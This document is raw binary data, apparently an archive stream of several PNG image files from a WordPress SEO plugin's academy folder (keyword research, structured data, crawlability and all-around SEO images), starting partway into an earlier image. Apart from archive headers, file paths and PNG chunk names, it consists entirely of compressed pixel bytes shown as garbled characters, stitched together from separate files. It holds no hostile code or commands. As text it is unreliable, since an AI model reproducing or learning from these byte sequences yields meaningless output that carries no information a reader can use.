��L����/d�IEH��zUS}�p;��e6<����s릚/�Uo�>kPE7�䦃�>P�qN�8����WF�-�E7��D�Fܒ]N+B;�n�ƕ̤�Z�}0��Ky �ȵ�j�y�5����tӡ�gg[����G6�M���>+�1��e7���Ώ�r�!C����n*LrS}*�n*M�U}0�������)�'��M��Yu�Tӡ�g-���5v7���vM��T�ąDi�Xv9�t���e��E�gE7���e��J�~7��> ��e�� 1�����N7�A��E7u�Mu]J&��1�,��Y�M��P���pZ�8���duS�Y�Y����~Bvx,�o�n*? �n*L�k�-)��m�gY�ANj�����q6\3y=$�n��J�YWU�6ӱ����ܷ�.X.��.(2֦���ʜ/�Ή��?�&:T�Ș�Z],`wSY}V��82榃�m�NM��M8`��7��"0lX��^�g�tq$�������p��[���WTu!5]�K����p��6��z�_�M��t��}�1���N/m���I���~!�7���.m���z+‹I�����KL)4�;4���鸴�t����i����ץ
���;�A�AP�{%`"��<t{vڏdi#]�s` ]�X!]閶�t��P�!]�[�HWB�\H遥�t�X�H遥�t�X�H遥�t�ni#���A��@�[�HD�Cu��ni#=�^B��tK�H����tK�H����tK�HsC��-m�+!��F�
�����tK�JH��C��-m�+!��F�
�-m�+!�`i#]�6ҕ�~�����t��k�tK�"����!��F�H����%�-m��tK�Z"��F�H�+C�k�tK�"}�����D�k�tK�"�KhҗD���t�ni#}I�[�H�6��ni#���h�҄q��s4�� i@hi��6������L�� ޝ�8��~���m��~�=������(]�m�7�����KJWz�3v�r���-mqJWz·�L��>s��t?��t����<��@��f���KJg���{���źK�/��N@��E�Z������]*fX�P:��\<���O��xئ��6��}��c��p��f�.giS:q�M.�C��!w]���H�tw��S?�?sq�K�6��/nS>ׇ�\,�Ṡ��N�v���ɞ�����Na�6���~���<�χ\�t)���	�n��~���)n��
�s=~�M���r��,mJg:����M-�.���(�����M�f�*-m(�����M
|�jiS:m߳�m�O-m(���C��TK��i�u?�m��M�4�:�M]nS%W�6��ñ�ߦο��t޳�oS��)�z���}�O_�+���Y㷩�6��=k�6��	��} �M��)���YO��6�YڔNs����TK��i�_ⷩ���t��s��ܦ�?}��)�v�Yϡ�e��_\sP�d㷩�6��=k��ט_�Rz}�Y�?�t�.���5~�jiS:m�.㷩�6�Ӿ�&�髥M�4�[\�8K��Ҧtp��t�fiS:8TW:Xڔ�6��_�+�ciC�X�P:�6���M�`iS:8TW:XڔBS��K�ҡS���G9�
(j.�	��IEND�B`�wordpress-seo/images/academy/all_around_seo.png000064400000020071147510273100015724 0ustar00�PNG


IHDR������PLTE������dý��������������������`�������6�����L���������������)�������_���������Ȋ��T�����������I�������͵����>��������t��4�������Ҫ��j����ו¿���/��@��&�����H��al�zR}�Jy�0n�(j�9qr[�7��Yt�P}�jc���������Au@�����U��^�����rý�����߯�Ơ�gOuHc{>j}�.l~��5n
��qIs��{Bq1���īF|)w����I���M�]Vw�A{�[�Ɓ�ˍ����J��g�է����������������t����������К���ѩ5s���������R]y���ڳ��гN�3q�<p���u�����+����������������F����������ܱM�������������������S�����9����������������až���n�Ö�Ѱ��{������ئJ.��=��j��y½������[����L�����������������P���2p��ة4r�����֧2qɱ��2pì�ĭ��3q��Ҥ2pu����ߢ��z��R��`ľ������m��E��8�����������*����ڢ1o���kTyH���oIDATx�Ӄq�A�N?b��el��ov{�/llD�E�sD�sD�sD�sD�sD�sD�sD�s����������������爎爎爎爎爎��9��9��9��9��9��9�om�R��&z��Zw��D��^[,��$z�OVk�=�H��V㔂�����n��#z����R�#��?R���>�G��9���Ϝ��_��9�=�t��]�:��Q_E�0C�����̾���2��ė
N����ʱ[v�8�A�5��u��_������$�����`���8)��7��������o�;
tn30��.���s@�y�-)��z�j�BȖ�����BϏ�l~�dݼ��	�}r�������
�B�V�Lx��:����lu�>� �:�~����yJO����g#;;�~���:�i%O��'��|!����Ȳ���g�kr�����B\ovthQ���1�.���C�c��v�t�3�� �]�;���-��l��P<.�p���d!V�?��9 �'ls�B������p.�q00�s@�
�i�����K���9 tr�H&�aE�̥ԍ���߿���9��M��Ll�ddl�Љ��S�zQj}+�c�B�������S�V�۽	x!ԘL�:���
[�)� �T(����9 t��S�u��[�*������������������LB��C�;�N~|�gr�
��;�Nܟ~V׺���v �pdC�Љ�$�ެf1�+z�2��8��s@��i�Z��o67l]��]�����J��?*&5�|O���j�990�s@�r��R?���~���j�9�ͱ t���j�{J�u��t��B'Q�_���uZ�<�Et���׻��b�\żN��n����B'n�}e�M�/Z5����4���=���U��ϿB'�z���ռhu����c@�Ҽ.k��
_�j�9�׹ t���E���?�BG�I���E���?�s��4:��_�-T3{�J�o����*^X�ڹ��r�8�B�>7*��\���E�:��; ���|�/~9�m��5��q���_���=7�Ηp������n
���K(33��{(3���e�V^�;{�~Y�η�������i=��-�E�k�9�8z��/��7o}*� tZ�:r�/Z��B<�{�.蜟t����Gn�ι�B\���z���a�:��>r���'��@<B�x���s�'���ua�l��#t���^�yY�M��U)ǁ�i�A�ۗ���A;�i� ��G���h���69���|����%��o�8;�{2Ո�i�J��B�x��MMϜֽ�Y��Y�=ڕ�_���pmnx����^�BOr����x�Pv_�r,t�8r�u^:O�@��uQ�u�k�#��`��p;�.�F):n�=т��G\��y�I:W��3�+:���ֈ^���q���-�ܯ�n+ßƁ�q��us�]��1��=+���q����UbU6v�3w�w�]������.�qU�y��T\�����=0��;�j��:��0s7Y�qa�A:����s}�<k�	W��M�y����Й��:}��#���UA�|����?A��'��A肫0fs�9:��Я��1w�v��]�yB�����;���B,����n��W�j�����W?i:����B���F��\��h=���w�~Ru.P�n%k`A�᫟$���O� t��I޹�B�ȝ�q��-}�V��R�T��~Rv.���_��>��0x�&�\P�霡{<�I۹@��v�P�X��W?��\0{���1X�#��O����mז>���%��O����S�ȬɜՐ��M�y���O�亏ǿo����:�Ot��~�s�i2�|W?ѹZ����r����':��s�\;g�#�'ht�U��~�s{[`��Q]����y�+��Ot���0��	;��nW?�9?�J�r��A�\��Ot��r9�~�s�QV��OtΥ8�1w˰�'�n���~�s���J���p��|����䫟蜉{z��\�s�ʤ��':O�:��-��7�;韠�9�8�e������.@��ݾ�gǼMa�3�~��F�"�13�;�(�Z��i���N���٤�4M�����&�4g=��w��/�p���O�����w�s���;Uw�sz'8���
�P�_p^q��HD�Tb����
��UŒ����5H�#�{�
�+#�k�[�ᜀ^V,EM��Ʋp���(�R~��}֕�%g#�ᜀ�nFn��z]��aڕ�pN@/o"˝�����Xp�г@����R㤙�Ćs�{SYQ��7�{7I��sY�	����/�͞����J��~�o��]���T��l�&��N���	��K�g9�]�Tc�7oU�N���p㜀�څܣ���<|8'�;6O�9�!�ᜀ�P6O�9�!#��s�C�D<	�t�LP)���-�k㜀n���8?�o�R'{8'�ۢ��-s[�5�	�6=�����g�#��o�Bߝ�
هG�+���V�;�9}����[���m{�[�8'��tx��2/z�,�t�t��բ�~�9�6
���_pN@�E&����{8/�ᜀnӏ�}_���<{���szQtNd���Z����;�	�6=3��f|�tT�9;__:�	�Ezj‡�>Y��:�ٜ�;H�9ݖ���<��l�Ƙ�j���]�㜀�\��6y�Mr� �in�t^�V��sG�8'�o���݁��0�q0o5��n�V�l��ǹ5�n�q������d}��|���q�h@ǹ�旎s��Γ�_:�	�K:�,~�8'����K�9}I纋_:�	�k:�"~�8�5�㼊8��윀�s=Ť'Ǔ�9'��|��g�sN@ǹf�v���9'��<
�=��s:�)��z���R�	�8?�`���QO�8'�/�\b=�o)�ͼ��*�	��8�b���=�O�c�]qN@_��ȭ����Y�8'�/�\�|�[)s��sz���s~9�,�U��C���r��5з�|�✀��s�<j�.�*�	�!�m9���~��S���sz�s�-�m��nߙ�	�9=Ĺ-�w���ڮ���y��✀�����h���|P����ܾ�_z�6�)O��6�9=عf���,�ݮͭ���p�ڍ�o��]ks;��9=ܹz6��om.�q(�	���
zr���u������sz�s��'�ڼ���(��h�Ow3�k��L�9=ع�������yۓZ����0�=z�a}�6/���_D�9=ع�f�f��tm^귵\�9=ع箻���kz����	���D���2��k��ᜀ���{��֞�q��sz�s[�?�e���)"	��H�Q�x�6�T�$"�sz�s��Dz�i��L�ᜀ��C��Lʿػ�DZ$�@q�v��͘ڌ�ޜ`�i�E�\�T�E'Ѩ�xs���|�O������?H*�ͧ��t>��i������:?�/�?3��ΣY����4�3z�
C�ܹ����n�Gk.��g�Cw���>,�#4�Νc����ɺ�=NTu��i��JE������]�O�>��P?s��*����\�7��/�'����I����3�p��K5�g��
��&��MS��~�γZ͊��M��ݲ��s=�wnϜ�a@��G�[8�ΣZ�ՙ/p�7�ڽ�v�W��%�xf���,ò��:�
]S"�3��܅y�_c�����8��ܹ�	�h��i���xf������ɍ;���ܶ���󇿣vo�<|��E^Φ�
`��;w7�/2O���w��;_��z�U���me��b�Ћ��<VI9�:�g�G�8:����_t�yd�T���Ώ�5�I�U�i.�t��C�;���[:�-=|�Z��;�ܳ��O�b)�t�Wz��%��ր�J����:�*=|�y��-��s���w.q����������=J߹�t�&йG��;����:�(=|�6TL��s{��;����:������:���s���9@����w.e��j�[Ko�si�s�΍������:����h�h��tn*=l�<N��R�tn)=`�U�L� �J�tV��8*@��K�yʼnz��@�K��y�-R��7�Λ��N��YY�Z�й�t�Σ8)t}�
�sK��Ϋ�"�@"�й�t[��ٲրb��yS�Σ�,4�R|t��~���"�6���\��lYkk�t:��o|��n&�:��uK��y:�ѷwvv��.ը�����ǻ_��-5�������[;�/��T�L��
��߻���u�K_
�����ٷ����k��	�=t:��{$�{>��N�W�;��]��\�-����v���X�q�t�h��5�!=�����Z�]�t�hvo
��	��z��#7@�p=��'@��u�n��oG-�\�����v��+�#y�+�ֳJ�����_��c7�3����Dq��3?�U_;��v�xO=�,�}�1zg~=��w�W��&�峦�w�'���9U�M����eB�ȏ~1��隊2�W~��:����s'�M�y��Z�J@�����O5�z1���gB�ʯ����g��)��л��v��o?:�
*���6��եnX$ �tp����c�@&�t�����K�z��^?zO:B��0:�y+�#9�Î�TC���cu�|�����>@��!������"��*n�s��Ԁ����{_=�`f��������y%N�ҋ�8{��В8'l��T��s�wf�V��n����<p�n�<�-]d�<,*�޶}[Dzpp�a�hI<�e�*�rz�͆��''����i�����Y$����F�
�7o�<ї��uй�-]f���Rg��@�>w�}�p���В�<�|,s���#}���Mu�=@+�8O�$P�@6T�&���:��-���%��^F��A�?�v~��h���1@���t����J�M��A:w���?��^N�p�,]��L����D��i��?�YN	���b�[`�WTu��Mtn_N	{����4��H�&��O����2ڂΓ8�e�ї�l���u��]������}�k����έ���np�
���ܾ���-ŝhG�;�.����6r����w��j#'�;�/���X�	ܹ}9�@�m� l������ع�u7���5x���r
��n�ܾ�� �`�:wg1��g[�g��<�rJ����U�:I�8���-���SY[5[֦�(B?T����U�5w�?��r��O¿{�
�G�BZOt����|VkcŲ�o8��l�7p�u�y\�M�p8��XW�<l�B�y�K�����]�fe%�\ ����_t�yT��8|S��L�
�;�K]Kɧ��U��<ڀa�Oճ��y�_����>�}�<��,!��83��a���۶,9n�}��.ɲ������v����5ԢRO t�|%����ԃnS��L�_Y��+�y����|�o��j�Yþ���yk<[��.�ys��ų��ܲ]�vzF[j����=��m=��}��Nw�[m�Y�^O�P��ͧ��\��?�v�s���;�Sfs��*�F����Q~�������31��t��&�d��ۺ�+���0���w�����[��F
'��7��zWr逩�ܽ���ǃf��[�C��[:�-��V�s��zl�49m��_���2�[����j���7��_6��t�:�t��h=�-^'���	P��?X�ΝZ�m�1���چMj��x�:�tz���V�>1�f5_z������*ܹe^�l t�*wn�~�}f
Z��/@�B�`�;?�mn���)l��q$@�B7�~�ǭ����-�ZO�A���ۭw5m�ji
8�K�ӟ5k�\�ִxc�H�l�E�C��'J��SiƎ�ղ6�l��ǁ��g���~%����f�icj��x���[�h�qb�9�u��(�sO�/�G�XS��*t�;�E��:�����V��O�ܹ�ַƯ����W���E:�[�h^3��R�n�G��gz���n����)WP�Ρ���y��gƻ%�P����.׹�=.u@����Z�n>{��m��MMs���ޡ�O��y�֗&���;j��˥;�5_��&6A�XwG�C�?yX��3o��� �l�E8��\�Q�ν��4a�©F�"��t��pzۜ	�G:��H�"_y���RLt���	d�)�U�s��W�;(o�m�@6lA0��\�ϝ?O���0���\�s�#�����K_SL0S�� �Kwn{�o�����MO�gg�YqG$B�|�A�g_�ڡ��l
��J:�����-�j���2�,4E�*ѹ�+ϊ.���:�?
B��vn{\$�׾"0�	&a�;B�h�Rae �	���B������䤝ЁJun{��|����r
�U����'Y+륜A�@;�|�Ww��_<zU�T�s��ڹY���GO���t疯���7_{���_��ڋ��J���\����0�yB��@��9�2�PK(���9�zρ�3h���D��<��r���C]%�yC����������g���.��<�p���s_�,�}$�Ot�E�)�Y��':Ϥ˳��<�A�{��<���^w_+ﴄ:�f�)[��NS�xE��/�-��{@�s��{�ߦ��C�g�
�F�BC��t�QOӶ!���yF�0��Z�xF�Y�5�a�$�йې�K�?M�	��;�3��R��;�4�lc��@�Cz�1~�5�+�t�]4ִ}b|���%�t�C_-{�\-#	��<F�{An��a$t^`=Ng�;׾��y.}��v>� :�g��ib�5�6�$���j�o��d�G�@�95�j���v�Gz@�y����8X�zd"�t�[O��7&���:@�
�Ub��z�I0�;��-q#{�˝�9�E�JwH}=U:G���[��6��|�t��ѹ�����o�Y��'��<0й��POۯ���mј�	�sWͱ���6����f�X7{=�'�t�,���y�Z�$��:/���B�}�@��\�� �t^P4QG��%���n:�`��4t�As�9uz��ν�5�IK�Rѹ/��fҽ��dt�O��]yS��ѹ_�v�l�~$�Eй�~{���
;�v�%���yHQ$k���[�c���7D�yx�C@�9x�����9x�C��x���@�9x���@�9x���@�9xx�C��0���L,k"IIEND�B`�wordpress-seo/images/academy/keyword_research.png000064400000011506147510273100016301 0ustar00�PNG


IHDR��R�$�8PLTE��W��T�N�/�F�,�})�=�4�:�1CfcJg��[,g�P��t����ѱ�y��b��H�p9Bb`�C@WX��Q�K�@�7ɥZ��Q�~0��_�uCCebAYZ�Ip{`Ba`@XX�s5A\\��]�_��\جY4_d��^�XQf%XeRmbataȢXMdMc#`{�j@Qn}�����>v�b���w12S\�z-k`LG}�]]Pk���m<���NZTY��$P_5n�Yt�gDycH$P`ƒLNdS{�l��W��e��ey{��ʦ���4"_{���F|����j��+g���}X��˕h���Zv6i�V{kNv��s�IDATx��E�AD���aff���r#H1��]fw�/���0�&�n6��mQ%t�6^)���</���<z>�s���<z>�s�C�<X���Ux�d^����Ё�:��s�C�<:����Ё�:��s�C�<:����Ё�:����<����ЁE�N��N��N����<�
���C�7~��/���A苪��A�m�g�Bo�<;tz��ᡃ�Uѡ���<����yP� ��ݽ��yJ� �yӅ��
��!�>�6υ�yz��B_v�����s�/5��y�}�*�/9����<z,�Go�\��z��Bφ�UBφ��<z6���г!�6υ�
�T	=B?���B��@@���B�>: t@����: t@��B��@@���B�>: t@����: t@��B�8:�;>:����!��Z	�K��J��0υ��\�0υ��\�0υ��\�0υ�Ϋ���%t7Y+��r��EW�%�|8
#�7�==:]� �����B�-�F�az��� �.r��A�]�BO�лȅ
�ŭ���z: � t@�@������BB��=z: � t@�@������BOB�B�N��'B�UB���z88]+���</���<z<�s����Z	=<�K���J��`|QBχy.�|��Bχy.�|��Bχy.tX����E��^y:]� t��ЅB:]��lm���=Bo�7B�лȅ��w�=
B�"z��E.�h�+n�ޣ=
B:]� t��ЅB:]� t�#t��ЅB:]� t��ЅB:]��#t��A�B��.t��A�B���.t��A�B��.t�С3~���q�v"t���l^Bz8���.�l�/J�B�d��.�p<�K�B�y�Ѕ��<����B:���;��)x���a9���$�jVV��]������>lޯ
{�G�:��\��d�_n�s��	([rU~�����s��	�B�q.�S{n:�%��k����	��[���\�ɔ��='tB��r4���Ğ:�C��ܣex�	��
a��F5����,֡:��6��/�]��$
j�~���	�Utd��K�O�Y��Y�e`ϕk"t�QU��=W����D���\�&B����s��	ܹ��t{n:�����v{n:��X�ݞ��N�@�b��\9tB�&�r��	]|{�흽��M��8�m���HBoY�/���bl�BK������$�Y�@0����P�k|f���Z���J��A脎�׹�lܿ�	t�5k�N�o�jq(Z랅N�`=O�4�A�^1:�/=k/��N��y�NA��i:�V����D��%tB���$U���A��'tB��|�$U�J�:�cc�K%���\sL脎]?@7(�E脎�v!.�t���:�݈�x��!G脎J?4ao���<tB��Z#�D��ơ:p(K&^ݜi�MC't��g�Z콺
{b:�GR����a��.H��\�o:��+q�?���wl:�d7�z�C�k:��]��%��>���Q���]1Xxx��N�;��@r��N�⥵`FQ�Ϣh���R��r�-�N�`A�OS�M:��vI�H�t��:X�g���A'�\�LrZ[���~�UҶ�I�tK�:X��_drf��jI'tB����c��G�ap�vR��h��%�N脎-\�}^���س��z}k�A脎r>K�Y��|��R���;RZ��;CB'tl��Yڙ��B���G���Y�x�:���/����\�Eާ�K?�ݖ�5:�Q
tn��D>5َ�$�W�&B^��i"�	}��mU&9���\�j8׌���ƶ����<dmq|�ݏd5dž��֜�әlU���;���^�ys�Lm�g������_�Ȣ�G���Lp���K����gw���J�`�=��F�}y�Q��S��gw���]��k�z������o>���gw�o>t�
�
���|3����.��x��{�/d���j����/�e��z}�Ё�k�$��>';�6���C#��_�$�u�O~2�ΌȞ�8*\г���+��G�"��xY�����b�'�2���^:t�`/���;��b!�ɾ;�\���_h�}�B�9��v�qg�M������ǃb�7�KУþ�m*t�׊�ţ�Ãb���ݦ��w�T�ע�Г�=�?u�ͭBOEP�L�`�=�z9}��x~��4�v�"h�K�|*���.Z��x�3�
}&���E#z"W^�3���^I��@�E���کW����\��	D�]B�]�M"}���`<ᴱQ�@Dz�n��3���[=�?q��Ԝ��q_F��W��n��M����[㾌W/�|9X�[jnz$0��-B�ubo�ϕ���)B_L�:�R#tccB�,B?\g<W��n��%t�?��š?w+��:�["t)]�焾
sB�:B��9�o^�ЭzG�^0�+
B����B�Tb��svݷ���zG������!�/1&t3�>P�{yp�BDŽ^�G(�a�S�\�tp�On
u)�C���	�
�K����*��ܭ�/%�we�pN�V}��{tp�w/�:ZRքЗj6F��:P߆����b'R���(=Bǭȍf����x^�k��	�1��6><��r�ϋ̍�
�gmN踍�������M���R�G[a���W:�M��`A��mpcF$��۟��R��	�i�Ѝp�&�De��}����{N�8^��w�B[o�շ��.�L
�9��'Y!�[�����M���
G襰�����׹d�����@ySx��*}���}$9��9����f�k�?������(�<�t��} 9��?��#���$���D��}�J(6R!����V����^V�3��,���զbc�G��{�_�Z�H�Ko�u��[�;+�%#���9�bHW�g�,�n���2�vN��ç;�.�����{b(������8B��}�"I�K�Ԭ��k�i�O�b��_H%�?�>�/G�%�u��-yr�o:'t[�)q��E�%O�D��gw%�IJ=ђ=��	����#tX?�W/�껐��F�%��'�5u[��	�4|�3��tN��Վ.�~&�^�:L����#�^����v�H/�tN��IvH�t:'t�x#;$eA���r���'N��ez�����:L�ٹ��l&95B�GX��eg�uB��7;��>IX�	��bI��7g,�{�_v@��K���:�=|�R��ҝ�����'΍�r���fׁ�Q�S����\��#ɛ;:J{��]�6�Rq�t�}�@�Ͽ���F��ى#t{�~��D��;v t����4�:�_��ڴ�@�(�w�y�k>M$��@�(���ԫ�|���N�0ϕ~��γX��:ϕZ��p��f߁�a9�Ww�6ӝ۟�:ϕaE�d;o9:��s�߫�~�b�CB��x^ņ\ҹ����r<W[+=N�wi���c:���
nȵ3�]�Ȇo�:ϕ�lA2�W:�,B��x^u�g��.k�9����^������Ob:'t���++}��+���	�~r��jʦ%;eJ焎�{��i�����!��l�\��x�4���<;����	���aGm)�,�9��hC�i��s�?�V'%RO�Ų��m���\;_�F����E��y�@4k�x^vP3�;grK���z�m�sBG���?�k�S�}v��U��Yb�@���x��7���Cx6jϤP<e����̧5B�V�s�[�zxY�d4�?#�M™,s�w tT0��E]i_E�E�p�|3�A8J��L/�,焎��s}Ц���c}���Q���ZO����Da,79�::�����T��(�+d�0���k���{��Y�7e�Y�F�W�(�{u�t�@�(�Ϟ8{��TVH�+��^ˁ�a?��=�࡝�a?�۩�Hi�aׁ�a?��ΧRF��w t؏���ӻV~�u tT7��^}�8㹭nk8]?��q߁�Q�xn�q]
4�s"'tT;�����z}Y�'���:��-�r�@�/���PEQ?�'4``��5a�Ǜsz��;�	{�б���Y����]R�3��C�,���9BǞ#t�9BǞ#t�9BǞ#t�9B�� t{�б�{>Bg�塳�C�(�qݞ#t�9BǞ#t�9BǞ#t�9BǞ#t{B����s��ΰ�ԇ�ÞS:O{���9ݞ#t�9BǞ#t�9BǞ#t�9�CǞ#t�9BǞ#t�9B�cϩ�W�<t�;P:�=G��n�A��c�:��c�:�����=G��s��=G�=?_g�aD��F�IEND�B`�wordpress-seo/images/academy/understanding_structured_data.png000064400000010203147510273100021054 0ustar00�PNG


IHDR���hO��PLTE��vxC�e
???///������������#-�LU�Zb�v|����ho�?G���������ୱЄ��1:����������Ya��!�k�[�}D���Ȣ���<�F���l�t�ٳ�����������Ҥ�+��h�J�Æ�ʕ�:��w��Y�����巷������������ќ�������������ʣ�����������___ƈJ<)�?o�]IDATx���b����ӵ���X�i����Z6K3k�&����~�=�����}+��?=
���P�����|��Qzx~R:JW:(]�t��ҕ��Q:JG�(��t��ҕJW:(]�t��ҕ��Q:JG�(��t��ҕJW:(]��@�?��ݔ^<�����Q��A�J�+��tP��ɤt���Q:JW:(]�����t�;Jo��>p��Q���>^N�s�y��tPz���˖���tP��.�
SWm��q�Z�Tc��4�SW_���2mM]����s��ZS��݂~���t�^�};�}�ǥ_�S�����tP�����.m�Kú���5�Jo��3����M�rR:d�^H�K?�/h��-^:(�Y��Čsn�JG�e��^ms�K]�(��з�Ư�6�C���}����Y�Pl�Z�!fY�{�S(��w��{��)�҇{�j��,I�H�iه~�@�t
���m��4�A�G�Cx3�x�n��tʢ�4�K��7�r���Qz~��Q��Q�D�q�z���t���M�N��E]�(=cIo<�3+��(��N���HJ�J�«�Э@�t���&����LJ�J�]�w�z�tJ����%}���J/Joë�苄I�@���]6�U��2��-�X��_�^��«�˄�ҋ����bz�g.J/J�Ë���J/J?=bO}>z��t�^`���b��ҏ�"�^�J/
J_2�;+�(�yH����ҋ_}ËM�EA��cjSzQPz�tP��A�J�WZ:�����ғ���3r�3r��{�ι������|���V*ܟ�=�V�A�(�3g��ҿ��#��s��gÎ�_'�K+<�r�G�����y�|���w���޵����ޟ��= �������w���4ӡK���r��>��N��)����7x���R��LnJ�m�C���1��K�8	�t�����gb��QzYPzZ›�m@X��˂��%�Y��qaIJ/
J��R��;mTzqP���S�7�5*�<(=^�>��Bߢ�K�������Β�^&���]��=�7Q�eB�Y�{9��sΟ*�?Sv�x�f{r�JG���3杻��+��zw�=�Q�Pn�'����Qz���	]�(=?姵�J�Ǵ��i�u�J�)w��{��t�^T*mnZC}��ܴ҇b}�����?+�,]��9^���tP����JK�g,��Rw��0���*/��S�E[��JϠtP�ҟ�+��tP��A��P:(���tP�T뒮t��a��-֨t(��6_�J���Q:JG�(��t��ҕJW:(]�Pd�J�7m����A��n���J��K�ɹ��A�p��(ܟ~R:x�����nM�����(�	��b=���c���SM���c�lM̡t���Q:JG�(�+��tP��A�J��KW:(=�_��Jo��s��tP��nKU�JOK��\u��.\���A�}�J��Jk.�ބkL���A���0�]:(=m�X_��n>�:F��JG�(��t��ҕJW:�X��A�J�+��tP��Q�_���
/���t��ҕJW:(]�t��t���Q:JG�(��t��ҕJW:��/��I��}���ݟ�����?w��>@�7�l��Mo/c:��Ζ阎阎阎�1���c:�c:�c:�cz��`�阎阎阎�I�n:�n:�c:�c:�cz������eu�?�����c:�c:�c:�c:�`��`�阎阎阎�a�n:�n:���a��x���a��馃�c:�c:�c:�cz��`�阎阎阎�0�c:�c:�c:�cz��`��>/���N@~:�n:�c:�c:�c:��������ʞ��6nQ>�z6��%9�L&s�?S�-j�>m`8���Q��ʆ%]I��t%�Jҕ�+I�!IW��$]I�`=9cO���A�?��t?���R��O�{XIW�KzA4���8��(�5#J�gR��`l4�d�r��a%�?%�/)���'�G=(���ޟ��o-��V �'�9�찒�$���s�Z@`O:p"O:P�a���&I���SM��D�t`��3)Io�"����#yҁ�a%]I:o�_�Q/�%椷G�Vҕ��v�{��G=���+�|J�Gq/8����n�wܻ:��h��ɝ:��t%�����xlʩ�67��'<v�e~�B�f4�k	�O�\V��R��u����tߨi�{on4��+��ǟ&{k�۝�gXIW���Qgo�3>�]�i�M'���7��+Io
��z0#�W�5�8���$�)vX��^�׶���J���@��[v�$�m�XIW��E���x��B'�z��Mҕ��z��w
ܧ:I=�+�J�	�&�v�8���$�)���WRo��}�8���$��Ǣ=�0Y�hl�3��
۟�+I��(���s�R��صc�]{�c�q�+I�h:��|3�gA��G�vϾ�}9�t%�h�Y3��B/�6��c�����a�+I�V�x���o��\ǰ;��m�7;�t%�mW3�/}~����1�}[�8ҕ����Y��c%G��Bm�^n�~G���Z�!.o�&�ƴ�ҡ�ݘQ�7��|�?#w�_?o�~�q�+Iϕ�h�����k|c��ƴ�r���=��ƿ���ţ�g��u[��@ҕ�㿮��_=�a�W�i����Q^�+a�i~�>����v�~ܖ�G���@vV�|Pl��$y�m�\�������3]��a��m�?v�J҇Jg�Oȶ^�����Ҧ���-!���f���6�ݣo�E_$]Iz�m�m�4�OX��6��m��
��_���q��x�%�˒��/�u7���3@��W&��C��9��L��t���ތ�A�ey���C��lF��v9+�#d�H��#d�(rv�t�,�����t,rjY:(��f!K�c�3�,��C�f!K���9c�JG���)���_Μau�ބ����A�~9s�o'�(g�tPz7̛�R���eJ��Yzy΋�f�J��<��rJ�wZ����=�ٌ�A齖><�﫜��A�y���S�tPzG���a�m6J��[z��pv�tPzO�.�d�L��K?���>�4�tPzO��XFs����F�~�G��,g3J��/�/gW��䜔��<����B���Mw�{�3��һWo�"�P:(��f|��dJ��o��Ⱦ���A����N9�C�|�;?�تQ:(=�|�9'���ch���Y(�à�u�m6J����=�)�J���G2�dJ�G����F��]��ؽэ�E�A�`?�C�JO�^�Q:(�C߿ɝr�GB���Y(=J��;�Qz$�N��F��X(��'�H��S�U}-X�tJo�0E+�N鋮�E+�N�6��+�N�.�x���)=��f�J�S��zS(���+{p�M�X:�OG�7Z��A��M�K�Sz��K�3�7Y:(��!f�t�z�,d�td9%f�tLz�9~�t��f!K�c��(�ΑN��N9)d�t,r�Q:x��kvo�r����٭R��tP:���-G+�N�K���`���)]F_:(�ҷ�tP:���—J���—J��ɢ�J��zX��A�>/�tP:��ق�J���B�J��$3Jﲅa{[ː��t���_�t@�,�j�@6@����阎阎��t0�tL�tL�tL�tL��L7�1�1�1�1�L��A��N�t:��amjLLLL������Ӂ�t�t�t�t�t�t�t�t�t00000000LLLLLLLLL�������Ӂ�
�ZJ��IEND�B`�wordpress-seo/images/academy/crawlability.png000064400000023040147510273100015423 0ustar00�PNG


IHDR��R�$��PLTE�(j�&e�"X�$_�(i�&c�#[�'g�%`�"Y�$^�'h�%a�#Z�%b�&d�.i}1iu/di,\_7iB=h/BhJg Cd8;aP4_q*[s3iHgHfa/]�*jV9hFgH6`y'Z%DhEe0>b�%Yi5iSo?q�M{�x��z�����U��Ew�&`y�,j����������������d������Upj�����#]w��������1g���������[�����t��@9`������X1^���8?h���(@c���6k���������հ�����x��Mn}?cs7MEhyUu������������锥�1Xj&Oc���[y�6\nd�������݆��AVCW#M`���������j��6]oFizt�����Uv�DXe����������飴�'Pc8O<T=UAZ6eye�������;RC]EaIe'aze����͓��?XFb6l����������>WUqe��D_���Fw����Fw����$^x-e~9P
MjR��Dv����HdQm[u)b{Iy�t��2h�TpN}����;o����Xs���U�����t�����@s��������t��Ft�B\��Ʉ��Uy�'QeCZF_Mh3cyr��	If���Mh@l����
Lg9h}Ow����'\s���Pj{��Jf_��h�����UnOiW}�������Gr�QkQk*_vEr�h��������������L;h���M7c�#\�s%#IDATx�۷@C�CxO��R��x1��Ov��)À�2�v�P:�C}�	��6ԇ��:��q���C�Ch��>t8�����2t�Y:�,{��':BǞ�cςбgA�س�8��=BǞ�cςбgA�س t�Y:�,B��cςбgA�س t�Y:Nq{��=����C�س t�Y:�,B��>Ot��=B��cςбgA�O�5=:�,B�)�cςбgA�س t�Y:�,�vg�.l3	b
Ki ����
33��B�a�p~i�zx����
u
�����&��;:������#�z;��~
��?0(�wh�	�W���� uB/C��Nu:�#����9z���ԡB�o�46N���M����v7�:���	��)�N�����w#��C��r�S�3��sU�_X�r�y�K=Rbzye�?aM+��oH6g"�M
&g6�5��V+�ۖ���k$�	)�	��Z�d��4B��}R
s�.JN/?��> 9G��9�Մd�#��3zM;lj����
�OԼs�����t'n2�s��ɢd�F�"�7HV�?�ԎCf�^�wN��.�ԐKɸ"�8C�����%ɶpw'�~�VS�$c�.c����=�F2n�2��$�L�ݩ1�<�	�^�f�4ܩ� i�tc�m5���I�9�7��%�Lí�9�A�ч>I��.ԞgB'�):
���,H�8a:B����0	�ޔ��#t����-Bw��������#t+��G�x!t������M	�=B���G��"t��J��:�	�=BDZ�{��B���qJ�n�Gv��6����-�}�L�QP&'������AFQ$���8I�,/��<��+����k�@�:Л����~�t{�7S8�-�0�B��U���"�@�Q�bgI���@�C��$:Ѝ���ҏ@����Hn�.:�
